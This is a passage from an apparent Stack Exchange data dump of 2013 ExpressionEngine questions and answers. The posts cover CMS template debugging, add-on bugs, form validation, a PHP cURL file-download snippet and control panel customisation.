...admin.php?S=11606155886845716ce19d7cdde155fc5d604080&amp;amp;D=cp&amp;amp;C=javascript&amp;amp;M=combo_load&amp;amp;file=cp/homepage&amp;amp;v=1312216960&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;All JavaScript interaction is killed (dropdown menus, tabs, etc.), and it happens in all browsers. I've checked all the file permissions that I'm sure about and they haven't changed.  As far as I know, nothing has been touched for a long time on the server. The client makes frequent updates to the site, but I don't see how they'd be able to cause such errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Granted, it's an older version (v 2.2.2), but it's been working fine up until a few days ago.  Anyone have any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; Nevermind, folks. After finding the same thing happening on another site, hosted on the same server, I've determined it was a change in the server config by the host. Currently working it out with them.&lt;/p&gt;&#xA;" OwnerUserId="1403" LastEditorUserId="1875" LastEditDate="2013-08-10T14:35:48.857" LastActivityDate="2013-12-19T20:44:04.743" Title="Admin 403 Forbidden Errors" Tags="|admin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12587" PostTypeId="1" AcceptedAnswerId="12602" CreationDate="2013-08-08T17:05:49.437" Score="3" ViewCount="91" Body="&lt;p&gt;A client's MSM powered EE 2.6.1 site including Matrix 2.5.5 has just gone live and new entries with empty Matrix fields are ending up with 'czowOiIiOw==' in them – this I understand is a PHP base 64 encoded empty string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This of course causes template logic that hinges on empty fields to break!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions for a fix? I can go into the database and clear 'czowOiIiOw==' but I'd like to do better than that ;)&lt;/p&gt;&#xA;" OwnerUserId="354" LastEditorUserId="354" LastEditDate="2013-08-09T08:50:14.203" LastActivityDate="2013-08-09T08:50:14.203" Title="czowOiIiOw== being added to empty fields in exp_channel_data" Tags="|matrix|php-errors|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12588" PostTypeId="2" ParentId="12454" CreationDate="2013-08-08T18:04:51.093" Score="0" Body="&lt;p&gt;I'm not sure this will help your particular case but I'm doing a very similar thing at the moment and this may help you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the custom_data array in {exp:cartthrob:submitted_order_info} to do some conditional logic. Add a specific value to your checkout form and test that value later in the checkout process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, I have a checkout form that can be used to pay a previous invoice. For the checkout form in this case I have added a hidden field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;custom_data[type]&quot; value=&quot;invoice&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can then check for that value in a notification template and the order-info screen that the customer sees after a transaction. In my case the notification template shows some different information.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:submitted_order_info}&#xA;    {if custom_data:type==&quot;invoice&quot;}&#xA;        Show this message and other stuff&#xA;    {if:else}&#xA;        Show a different message, receipt and purchase details&#xA;    {/if}&#xA;{/exp:cartthrob:submitted_order_info}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know Postmaster but I wonder if you could check the custom_data value and have Postmaster do its stuff based on that?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-08-08T18:04:51.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12589" PostTypeId="1" CreationDate="2013-08-08T18:29:18.547" Score="1" ViewCount="218" Body="&lt;p&gt;Is there a way to upload a file to a &quot;File&quot; field using either a direct upload (&quot;Browse&quot; button) or a URL input? I noticed that the built-in file field only support direct upload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="965" LastActivityDate="2013-10-08T09:55:33.037" Title="Upload a File using a URL instead of direct upload" Tags="|custom-fields|file-uploads|fieldtype|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12590" PostTypeId="2" ParentId="12558" CreationDate="2013-08-08T19:42:44.097" Score="2" Body="&lt;p&gt;The two comments below are worthy answers, however the fault was all mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I normally work with a boilerplate which has the control panel at {site_url}/admin.php . I forgot that some people don't have it set up that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The weird thing was that logging at {site_url}/admin.php worked until I tried to access add-ons, however logging in at {site_url}/system fixed the issue.&lt;/p&gt;&#xA;" OwnerUserId="1085" LastActivityDate="2013-08-08T19:42:44.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12591" PostTypeId="1" CreationDate="2013-08-08T21:20:45.077" Score="0" ViewCount="331" Body="&lt;p&gt;I'm getting a lot of spam om my websites where I have a couple of email/contact forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The forms are all validated/submitted inline with jQuery/ajax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, spam bots skip javascript so I want to validate the form natively too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to use a (hidden) CAPTCHA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE/CI can validate emails and numbers etc. But I have a phone number field for example and I don't want to force users to use a specific pattern 000-000-000 etc.&#xA;I just want to allow only 0-9 spaces and dashes and ().&#xA;At the moment spam bots put anything there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I have a name field which spam bots use to put email addresses in. So I would like to &lt;strong&gt;disallow&lt;/strong&gt; the @ sign and other symbols that no one uses in their name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I don't want to even accept html tags or common spam strings like &quot;&#xA;&#xA;&lt;p&gt;How would I do this without javascript?&lt;/p&gt;&#xA;" OwnerUserId="777" LastActivityDate="2013-08-10T04:43:11.060" Title="Validate form input with regex (no jquery)" Tags="|solspace-freeform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12592" PostTypeId="1" CreationDate="2013-08-08T22:19:28.897" Score="1" ViewCount="192" Body="&lt;p&gt;Inside of my entries loop I have a Matrix field called &lt;code&gt;{blog_images}&lt;/code&gt; where the user can store up to 10 images. The user then determines where these images should appear in the content area (&lt;code&gt;{blog_post_content}&lt;/code&gt;) using shortcodes like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;First paragraph is here.&amp;lt;/p&amp;gt;&#xA;{image_1}&#xA;&amp;lt;p&amp;gt;Second paragraph is here.&amp;lt;/p&amp;gt;&#xA;{image_2}&#xA;&amp;lt;p&amp;gt;…&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Currently I'm using Stash to loop through the Matrix images and store them for insertion into &lt;code&gt;{blog_post_content}&lt;/code&gt;. Strange thing is if I have 10 entries appear on the page, every entry is showing only the image from the LAST entry instead of its own image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my existing code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{blog_images}&#xA;    {exp:stash:set type=&quot;snippet&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot;}&#xA;        {stash:image_{row_count}}&#xA;            &amp;lt;figure class=&quot;{placement} {size}&quot;&amp;gt;&#xA;                {exp:ce_img:pair src=&quot;{image}&quot; width=&quot;{size}&quot; allow_scale_larger=&quot;no&quot; cache_dir=&quot;images/blog&quot; hide_relative_path=&quot;yes&quot; parse=&quot;inward&quot;}&#xA;                    &amp;lt;img src=&quot;/assets/images/css/holder.png&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; data-src=&quot;{made}&quot; alt=&quot;{alt_text}&quot;&amp;gt;&#xA;                {/exp:ce_img:pair}&#xA;                {if caption}&#xA;                    &amp;lt;figcaption&amp;gt;&#xA;                        {caption}&#xA;                    &amp;lt;/figcaption&amp;gt;&#xA;                {/if}&#xA;            &amp;lt;/figure&amp;gt;&#xA;        {/stash:image_{row_count}}&#xA;    {/exp:stash:set}&#xA;{/blog_images}&#xA;{exp:stash:parse process=&quot;end&quot;}&#xA;    {blog_post_content}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea what I'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-08-19T13:06:36.813" Title="Stashing images from a Matrix field grabs only the image from the last entry on the page" Tags="|channel-entries|matrix|stash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12594" PostTypeId="1" AcceptedAnswerId="12597" CreationDate="2013-08-09T00:39:38.023" Score="1" ViewCount="99" Body="&lt;p&gt;There is a probably a very simple fix to this issue, however, I can't wrap my head around it. So I have a playa field (embedded) within a matrix field like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{call_out_section}&#xA;      {embed=&quot;projects/related_projects&quot; row_count=&quot;{row_count}&quot; xpos=&quot;{xpos}&quot; ypos=&quot;{ypos}&quot;} &#xA;{/call_out_section}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:playa:children field=&quot;select_project&quot; status=&quot;not closed&quot;}&#xA;&amp;lt;a href=&quot;#&quot; class=&quot;call_{embed:row_count}&quot;&amp;gt;{title} {embed:xpos}, {embed:ypos} &amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result of this is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Window Boxes 100, 100 &#xA;&#xA;Dining Room Table 100, 100 &#xA;&#xA;Window Boxes 200, 200 &#xA;&#xA;Dining Room Table 200, 200 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried adding a limit=&quot;1&quot; on {call_out_section} and on the playa:children. The former will only return a single title and the latter returns a single pair of x/y coordinates. Any thoughts here?&lt;/p&gt;&#xA;" OwnerUserId="1128" LastEditorUserId="1128" LastEditDate="2013-08-09T01:31:59.587" LastActivityDate="2013-08-09T03:06:15.633" Title="Playa field within a matrix field - duplicate results" Tags="|matrix|playa|loop|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12595" PostTypeId="1" AcceptedAnswerId="12596" CreationDate="2013-08-09T02:02:39.430" Score="2" ViewCount="214" Body="&lt;p&gt;CSS is not loading if there is anything after segment_1. This includes a trailing slash or an entry id. This happens on ANY template on this site but not other sites on the same server with the same .htaccess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EG: &quot;...//example.com/projects/&quot; or &quot;...//example.com/projects/4&quot; will not render CSS in browser&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template will still parse the EE tags but seems to not be sending the CSS to the broswer despite the  code showing in the rendered HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Live example: &quot;&lt;a href=&quot;http://getyourtips.in/projects/&quot; rel=&quot;nofollow&quot;&gt;http://getyourtips.in/projects/&lt;/a&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setup --&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template Group: projects&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template: index.html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version: EE 2.6.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CSS Theme: Unify (Bootstrap Based)&lt;/p&gt;&#xA;" OwnerUserId="1134" LastActivityDate="2013-08-09T08:11:14.277" Title="Anything after segment_1 in URL causes CSS not to load" Tags="|ee2|templates|url|css|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12596" PostTypeId="2" ParentId="12595" CreationDate="2013-08-09T02:05:52.573" Score="4" Body="&lt;p&gt;You need to add a forward slash to your assets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change this &#xA;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;assets/css/style.css&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to this &lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/assets/css/style.css&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-08-09T02:05:52.573" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12597" PostTypeId="2" ParentId="12594" CreationDate="2013-08-09T03:06:15.633" Score="2" Body="&lt;p&gt;The result tells me that this entry has 2 children (Window Boxes and Dining Room) and that its field &lt;code&gt;call_out_section&lt;/code&gt; has 2 rows (100 and 200). So, everything is right. 2 × 2 = 4!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, as you said on chat, &lt;code&gt;selected_project&lt;/code&gt; is also a column of &lt;code&gt;call_out_section&lt;/code&gt;. So, you can use the &lt;a href=&quot;http://docs.pixelandtonic.com/playa/templating/field.html&quot; rel=&quot;nofollow&quot;&gt;Field tags of Playa&lt;/a&gt;, instead of &lt;a href=&quot;http://docs.pixelandtonic.com/playa/templating/module/children.html&quot; rel=&quot;nofollow&quot;&gt;exp:playa:children&lt;/a&gt;, that is another module with another parse, etc, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{call_out_section}&#xA;  {select_project status=&quot;not closed&quot; var_prefix=&quot;project&quot;}&amp;lt;a href=&quot;#&quot; class=&quot;call_{row_count}&quot;&amp;gt;{project:title} {xpos}, {ypos}&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;{/select_project}&#xA;{/call_out_section}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The strange part is that the parameter &lt;code&gt;var_prefix&lt;/code&gt; isn't currently on docs of Field Tags.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-08-09T03:06:15.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12598" PostTypeId="2" ParentId="9032" CreationDate="2013-08-09T03:44:42.813" Score="0" Body="&lt;p&gt;As long as your uploaded image isn't too big then you can set the height and width to 100%. Seems to work well for me!&lt;/p&gt;&#xA;" OwnerUserId="303" LastActivityDate="2013-08-09T03:44:42.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12599" PostTypeId="1" AcceptedAnswerId="13258" CreationDate="2013-08-09T04:09:49.860" Score="2" ViewCount="133" Body="&lt;p&gt;My site's index page template uses switchee to determine whether to serve up index (home) page or a &quot;single page&quot; entry from the static channel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm attempting to set up a 404 page for the site, and created a 404 template in the default site template group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I set up 404s, all the &quot;static&quot; entries display as 404 instead. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to keep the option of single pages at the segment_1 level, so the site can add other single-purpose landing pages over time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Global Template Preferences:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Enable Strict URLs Yes, No, &lt;em&gt;(this setting makes no difference)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;404 Page: site/404 &lt;em&gt;(when set to None, things display okay)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Index template contains the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_1}&quot; parse=&quot;inward&quot;}&#xA;&#xA;{!-- ----- HOME PAGE ----- --}&#xA;{case value=&quot;index|''&quot;}&#xA;       ...&#xA;{/case}&#xA;&#xA;{!-- ----- Static Pages + Sidebar Asides ------ --}&#xA;    {case default=&quot;Yes&quot;} &#xA;&#xA;     {exp:channel:entries &#xA;        channel=&quot;static&quot; &#xA;        limit=&quot;1&quot; &#xA;        dynamic=&quot;no&quot; &#xA;        disable=&quot;categories&quot; &#xA;        require_entry=&quot;yes&quot; &#xA;        url_title=&quot;{segment_1}&quot;&#xA;        }&#xA;&#xA;     {if switchee_no_results}{redirect=&quot;404&quot;}{/if}&#xA;&#xA;        ... &#xA;   {/exp:channel:entries}&#xA;    {/case}&#xA;&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT NOTE (and apology):&lt;/strong&gt; When I first posted this, I inadvertantly pasted the {if switchee_no_results} outside the {exp:channel:entries} tag pair. But it was inside that tag pair in my actual code. So sorry to have misled you. It was not my intention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(the if switchee_no_results, require_entry, url_title=&quot;{segment_1}&quot; were all recently added while trying to get things working with 404s)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is Template Debugging for the about page (an entry in the static channel)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When &lt;strong&gt;Global Template Preferences&lt;/strong&gt; are set to strict=No and &lt;strong&gt;404 Page=None&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(0.000006 / 4.56MB) - Begin Template Processing -&lt;br&gt;&#xA;(0.000940 / 4.60MB) URI: about&lt;br&gt;&#xA;(0.000952 / 4.60MB) Path.php Template: /&lt;br&gt;&#xA;(0.000963 / 4.60MB) Retrieving Template&lt;br&gt;&#xA;(0.000972 / 4.60MB) Parsing Template URI&lt;br&gt;&#xA;(0.005528 / 4.80MB) Showing index. Template not found: about&lt;br&gt;&#xA;(0.005556 / 4.81MB) Retrieving Template from Database: site/index&lt;br&gt;&#xA;(0.006652 / 4.81MB) Template Found&lt;br&gt;&#xA;(0.007026 / 4.82MB) Retrieving Template from File  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When &lt;strong&gt;Global Template Preferences&lt;/strong&gt; changed to 404 &lt;strong&gt;Page=site/404&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(0.000005 / 4.56MB) - Begin Template Processing -&lt;br&gt;&#xA;(0.000966 / 4.60MB) URI: about&lt;br&gt;&#xA;(0.000978 / 4.60MB) Path.php Template: /&lt;br&gt;&#xA;(0.000989 / 4.60MB) Retrieving Template&lt;br&gt;&#xA;(0.000998 / 4.60MB) Parsing Template URI&lt;br&gt;&#xA;(0.005462 / 4.80MB) Template group and template not found, showing 404 page  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other things I have tried (which have not made any difference):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{case value=&quot;{segment_1}&quot; default=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Based on James Smith's &lt;a href=&quot;http://www.jamessmith.co.uk/articles/expressionengine_url_schematic&quot; rel=&quot;nofollow noreferrer&quot;&gt;URL schematic&lt;/a&gt; which he &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/211/what-does-enable-strict-urls-really-mean/219#219&quot;&gt;mentions here on EESE&lt;/a&gt; (topic: strict urls), I fear I broke some cardinal rule about segment_1. I hope not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you aware of any way I can keep the basic setup as described (a single, index template uses switchee to serve up both home page and single entries in the static channel) and make the 404s work right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATED:&lt;/strong&gt; I took this conversation to the &lt;a href=&quot;http://devot-ee.com/add-ons/support/switchee/viewthread/10347&quot; rel=&quot;nofollow noreferrer&quot;&gt;switchee support forum on devotee&lt;/a&gt;, and based on Mark Croxton's response, I implemented a fix and describe it below.&lt;/p&gt;&#xA;" OwnerUserId="143" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-08-28T21:34:45.987" Title="Site uses switchee to serve index or 'static' page; Now getting unexpected 404s" Tags="|url|404|segments|switchee|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12600" PostTypeId="2" ParentId="12595" CreationDate="2013-08-09T08:11:14.277" Score="2" Body="&lt;p&gt;It doesn't work because if you omit the initial slash then the path is relative to the current page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first slash basically says, &quot;start from the site root&quot;. So no matter where you are within the filesystem the link &quot;/assets/css/style.css&quot; will always resolve to the correct place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are at &quot;/mypage/something&quot; and you call &quot;assets/css/style.css&quot; you are effectively looking for &quot;/mypage/something/assets/css/style.css&quot; which is going to be incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not an ExpressionEngine issue, it's a basic principle of how URLs and filesystems work.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-08-09T08:11:14.277" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12601" PostTypeId="2" ParentId="12591" CreationDate="2013-08-09T08:40:47.283" Score="1" Body="&lt;p&gt;You couldn't have such validations via the freeform tags. You will need to develop an extension with the hook &lt;code&gt;freeform_module_validate_begin&lt;/code&gt;. Within the hooked function you can validate the user inputs and prepare the $error array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can take a reference from here: &lt;a href=&quot;http://www.solspace.com/docs/freeform/extension_hooks/#freeform_module_validate_begin&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/extension_hooks/#freeform_module_validate_begin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-08-09T08:40:47.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12602" PostTypeId="2" ParentId="12587" CreationDate="2013-08-09T08:49:34.357" Score="1" Body="&lt;p&gt;P&amp;amp;T recommended an update to Matrix 2.5.6 as a fix for this issue, which is apparently to do with &quot;a small bug with support for EE Revisions&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I confirm that the 2.5.6 update fixes this issue for me.&lt;/p&gt;&#xA;" OwnerUserId="354" LastActivityDate="2013-08-09T08:49:34.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12603" PostTypeId="2" ParentId="12589" CreationDate="2013-08-09T09:15:13.473" Score="1" Body="&lt;p&gt;Yes, the built-in file field only support direct upload. For a URL input upload, you will need to develop a custom field type. It's possible with the cURL of PHP. Here I can share PHP code example how a remote file can be saved within a directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$upload_dir_path = '/UPLOAD/DIRECTORY/PATH/';&#xA;$file_url = 'URL OF THE FILE';&#xA;&#xA;$ch = curl_init(); &#xA;curl_setopt($ch, CURLOPT_URL, $file_url);&#xA;&#xA;curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);&#xA;curl_setopt($ch, CURLOPT_BINARYTRANSFER, 1); &#xA;curl_setopt($ch, CURLOPT_FRESH_CONNECT, 1);&#xA;curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);&#xA;curl_setopt($ch, CURLOPT_TIMEOUT, 60);&#xA;$upload_file = curl_exec($ch);&#xA;&#xA;file_put_contents($upload_dir_path, $upload_file);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope, you would be aware to develop an EE field type and above code example would be helpful for you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-08-09T09:15:13.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12604" PostTypeId="1" AcceptedAnswerId="12606" CreationDate="2013-08-09T10:19:43.970" Score="4" ViewCount="484" Body="&lt;p&gt;Is there a way to remove the silly fields in the member profile administration of the control panel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not possible to remove them, is it possible to move them to the bottom so they appear after any custom member fields?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm specifically talking about the following fields;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;AOL &lt;/li&gt;&#xA;&lt;li&gt;IM &lt;/li&gt;&#xA;&lt;li&gt;ICQ &lt;/li&gt;&#xA;&lt;li&gt;Yahoo IM &lt;/li&gt;&#xA;&lt;li&gt;MSN IM &amp;lt;- this doesn't even exist anymore does&#xA;it?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and ideally I'd like to also remove;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Birthday&lt;/li&gt;&#xA;&lt;li&gt;Location&lt;/li&gt;&#xA;&lt;li&gt;Occupation&lt;/li&gt;&#xA;&lt;li&gt;Interests&lt;/li&gt;&#xA;&lt;li&gt;Bio&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Why these aren't an option in the config is something I have never understood. Or, if we want that stuff, just add them as custom member fields.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-08-09T10:35:43.310" LastActivityDate="2013-08-13T20:21:32.627" Title="How can I remove ICQ, Yahoo, MSN, Birthday fields from member profile admin in the Controlpanel?" Tags="|member-details|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12605" PostTypeId="2" ParentId="12604" CreationDate="2013-08-09T10:31:08.013" Score="5" Body="&lt;p&gt;I would add JavaScript to the control panel - perhaps using &lt;a href=&quot;http://devot-ee.com/add-ons/cp-css-js&quot;&gt;http://devot-ee.com/add-ons/cp-css-js&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the following JS as required (jQuery already included in the CP)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('label[for=aol_im],#other-selectors').parents('tr').remove();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might also have to sort the table row classes (odd/even) but that will remove the fields from users view.&lt;/p&gt;&#xA;" OwnerUserId="1147" LastActivityDate="2013-08-09T10:31:08.013" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12606" PostTypeId="2" ParentId="12604" CreationDate="2013-08-09T10:54:27.147" Score="6" Body="&lt;p&gt;I've just knocked up a quick &lt;a href=&quot;https://github.com/tyssen/Remove-Member-Profile-Fields&quot;&gt;accessory&lt;/a&gt; that does a similar thing to what Matt suggested.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-08-09T10:54:27.147" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12607" PostTypeId="1" CreationDate="2013-08-09T11:41:09.160" Score="1" ViewCount="79" Body="&lt;p&gt;I have a channel with about 12 custom fields. Nothing complicated, mostly text input, a few text areas, two files and one relationship field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed after I create an entry and click save, the next screen which is called 'View Entry' displays all the data I entered BUT also shows a zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought it odd, so re-installed EE Core. Remade my channel and its custom fields but once again, I keep getting shown a 0. It seems that one of the fields is defaulting to the 0. I recheck all of them 100s of time, they all look fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I seem to recall that back in the 1.4 EE days, I encountered this problem as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have a reason as to why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1349" LastActivityDate="2013-08-09T12:36:56.010" Title="0 displayed after saving entry on View Entry Page" Tags="|custom-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12608" PostTypeId="2" ParentId="12604" CreationDate="2013-08-09T11:49:40.300" Score="0" Body="&lt;p&gt;Since they are text fields probably, how about use phpMyAdmin to change their labels? Keep the fields short code the same, but just change the label so they appear on the front end as:&#xA;Location&#xA;Occupation&#xA;Interests&#xA;That leaves 2 unwanted ones. Rename their labels 'Pinterest' or another popular social media site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Bio, make a custom field of text area and for Birthday, make a custom field of date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That lets you keep things pretty 'stock'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll just need to remember that you assign the field ICQ to whatever you rename it.&lt;/p&gt;&#xA;" OwnerUserId="1349" LastActivityDate="2013-08-09T11:49:40.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
